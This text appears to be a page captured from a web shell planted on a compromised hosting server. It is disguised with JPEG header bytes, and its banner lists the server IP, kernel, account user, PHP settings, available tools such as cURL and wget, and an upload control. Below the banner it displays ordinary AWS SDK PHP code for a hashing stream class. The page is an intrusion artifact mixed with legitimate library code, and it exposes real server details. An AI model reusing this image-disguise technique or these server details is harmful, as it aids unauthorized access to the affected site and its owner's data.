����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/././www/vendor/aws/aws-sdk-php/src/ |
Upload File : |
<?php
namespace Aws;
use GuzzleHttp\Psr7\StreamDecoratorTrait;
use Psr\Http\Message\StreamInterface;
/**
* Stream decorator that calculates a rolling hash of the stream as it is read.
*/
class HashingStream implements StreamInterface
{
use StreamDecoratorTrait;
/** @var HashInterface */
private $hash;
/** @var callable|null */
private $callback;
/**
* @param StreamInterface $stream Stream that is being read.
* @param HashInterface $hash Hash used to calculate checksum.
* @param callable $onComplete Optional function invoked when the
* hash calculation is completed.
*/
public function __construct(
StreamInterface $stream,
HashInterface $hash,
callable $onComplete = null
) {
$this->stream = $stream;
$this->hash = $hash;
$this->callback = $onComplete;
}
public function read($length)
{
$data = $this->stream->read($length);
$this->hash->update($data);
if ($this->eof()) {
$result = $this->hash->complete();
if ($this->callback) {
call_user_func($this->callback, $result);
}
}
return $data;
}
public function seek($offset, $whence = SEEK_SET)
{
if ($offset === 0) {
$this->hash->reset();
return $this->stream->seek($offset);
}
// Seeking arbitrarily is not supported.
return false;
}
}